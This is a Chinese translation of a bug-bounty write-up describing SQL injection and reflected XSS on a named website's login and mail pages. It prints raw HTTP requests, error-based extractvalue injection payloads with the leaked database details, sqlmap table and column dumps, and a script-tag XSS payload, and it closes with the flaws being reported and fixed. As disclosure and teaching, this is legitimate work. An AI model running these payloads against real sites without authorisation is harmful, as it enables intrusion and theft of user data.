上个月为了练手,我选择了一个较受欢迎的网站(goodwesite.com)作为我的渗透测试对象。在漏洞挖掘过程中,我发现了该网站存在SQL注入和XSS漏洞。在正式开始文章内容前,让我们先来简单了解下该类漏洞的定义及产生原理。
什么是SQL注入漏洞?
此漏洞允许未经身份验证的用户,从受害者的网站数据库中窃取数据,包括敏感用户信息等。
漏洞产生原因?
之所以存在该漏洞是因为,goodwebsite在其登录界面对于用户输入的内容未进行正确的过滤处理导致的。这与在原始SQL查询中添加用户输入基本相同此时黑客只需输入相应的攻击向量,就可能窃取走数据库中的哈希密码和其他敏感用户信息。
因此,在测试“登录”页面时我随机输入了个用户名和密码,并使用Burp Suite拦截其请求,接着我用Test%27来作为用户名,然后将请求转发给Burp Repeater,并收到一条错误的回复,响应中的错误仿佛像是在发起申请请求。
Request: POST /register-login/check.php HTTP/1.1 Content-Length: 76 Content-Type: application/x-www-form-urlencoded Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724 Host: goodwebsite.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: / strLogin=Test%27&strPassword=k Response Error: PDOException Object ( [message:protected] => SQLSTATE[42000]: Syntax error or access viola tion: 1064 You have an error in your SQL syntax; check the manual that corresponds to your My SQL server version for the right syntax to use near Test’ ‘ and valid_id = 1’ at line 1 [string:Exce ption:private] => [code:protected] => 42000 [file:protected] => /var/www/goodwebsite.server.co m/register-login/send.php [line:protected] => 10 [trace:Exception:private] => Array ( [0] => Array ( [file] => /var/www/goodwebsite.server.com/register-login/send.php [line] => 10 [function] => q uery [class] => PDO [type] => -> [args] => Array ( [0] => SELECT * FROM wp_ggg_user WHER E login = Test’e ‘ and valid_id = 1; ) [previous:Exception:private] => [errorInfo] => Array ( [0] = > 42000 1 => 1064 2 => You have an error in your SQL syntax; check the manual that corre > sponds to your MySQL server version for the right syntax to use near Test’ ‘ and valid_id > = 1’ at line 1 )
根据初步的判断,我尝试了一些其他的SQL查询,我使用的第一个查询语句是Test%27and extractvalue(1,concat(0x00a,database()))or’这次出现的错误与上述类似,只是出现了一点小的变化,错误的结尾部分如下:
[previous:Exception:private] => [errorInfo] => Array ( [0] => HY000 [1] => 1105 [2] => XPATH syntax error: ‘ goodwebsite’ )
从以上错误信息中,我们获取到了网站的数据库名称为goodwebsite。
除此之外,我还测试了以下的基本信息查询语句:
system_user() @@version database() @@hostname @@datadir @@GLOBAL.VERSION session_user() schema() UUID()
所以,接着我使用的查询语句是Test%27和extractvalue(1,concat(0x00a,system_user()))or’错误返回信息如下:
[previous:Exception:private] => [errorInfo] => Array ( [0] => HY000 [1] => 1105 [2] => XPATH syntax error: ‘ goodwebsite@localhost’ )
通过以上查询测试,足以证明SQL注入漏洞的存在。为了获取更多的信息,我继续使用了第三个查询语句Test%27和extractvalue(1,concat(0x00a,@@ hostname))or’错误返回信息如下:
[previous:Exception:private] => [errorInfo] => Array ( [0] => HY000 [1] => 1105 [2] => XPATH syntax error: ' www2.rz.something.com' )
这里,我差点忘了查询目标数据库的版本信息,使用查询语句Test%27和extravtcalue(1,concat(0x00a,@@ version))or“错误返回信息如下:
[previous:Exception:private] => [errorInfo] => Array ( [0] => HY000 [1] => 1105 [2] => XPATH syntax error: ‘ 5.1.73–1+deb6u1-log’ )
最后,我尝试查询了测试%27和extractvalue(1,concat(0x00a,UUID())or’错误返回信息如下:
[previous:Exception:private] => [errorInfo] => Array ( [0] => HY000 [1] => 1105 [2] => XPATH syntax error: ‘ ab88…..UUDI’ )
到目前为止,我已经获取到了许多有价值的信息但这还远远不够,为了节省时间我决定使用SQLI扫描神器的SqlMap;来帮助我完成后续的查询任务以下是的SqlMap为我返回的结果。:
web server operating system: Linux Debian 6.0 (squeeze) web application technology: Apache 2.2.16, PHP 5.4.42 back-end DBMS: MySQL >= 5.0 Database: goodwebsite [18 tables] + — — — — — — — — — — — — -+ | wp_bms_log | | wp_bms_quiz_lh_answer | | wp_bms_quiz_lh_question | | wp_bms_quiz_lh_quiz | | wp_bms_statistics | | wp_bms_user | | wp_commentmeta | | wp_comments | | wp_links | | wp_options | | wp_postmeta | | wp_posts | | wp_term_relationships | | wp_term_taxonomy | | wp_termmeta | | wp_terms | | wp_usermeta | | wp_users | + — — — — — — — — — — — — -+ Then: Table: wp_users [10 columns] + — — — — — — — — — — -+ — — — — — — — — — — -+ | Column | Type | + — — — — — — — — — — -+ — — — — — — — — — — -+ | display_name | varchar(250) | | ID | bigint(20) unsigned | | user_activation_key | varchar(255) | | user_email | varchar(100) | | user_login | varchar(60) | | user_nicename | varchar(50) | | user_pass | varchar(255) | | user_registered | datetime | | user_status | int(11) | | user_url | varchar(100) | + — — — — — — — — — — -+ — — — — — — — — — — -+
但基于渗透测试的基本原则,我并没有继续深入下去。
XSS:
在完成对SQLI漏洞的测试后,接着我将测试目标转向了另一个页面goodwebsite.com/register-login/send.php。同样是一个POST请求,不同的是它带有一个strSendMail =的可输入变量。因此,我测试了以上相同的SQL语句,并获取到了同样的错误返回结果。接着,我测试了一个XSS的有效载荷E’%22()%26%25 <ACX> <SCRIPT%20>prompt(/ khizer /)</ ScRiPt>,请求如下:
POST /register-login/send.php HTTP/1.1 Content-Length: 60 Content-Type: application/x-www-form-urlencoded Referer: http://goodwebsite.com/ Cookie: bmslogin=no; bmsid=f3011db015dca9a4f2377cd4e864f724 Host: goodwebsite.com Connection: Keep-alive Accept-Encoding: gzip,deflate User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21 Accept: */* strSendMail=e’%22()%26%25<acx><ScRiPt%20>prompt(/khizer/)</ScRiPt>
弹框了!
之后,我第一时间报告了这两个漏洞的细节,他们在一小时内就进行了修复,并向我发送了感谢信。
*参考来源:medium,FB小编secist编译,转载请注明来自FreeBuf.COM
转载请注明:即刻安全 » 挖洞经验| 热门航空网站上的SQLI和XSS漏洞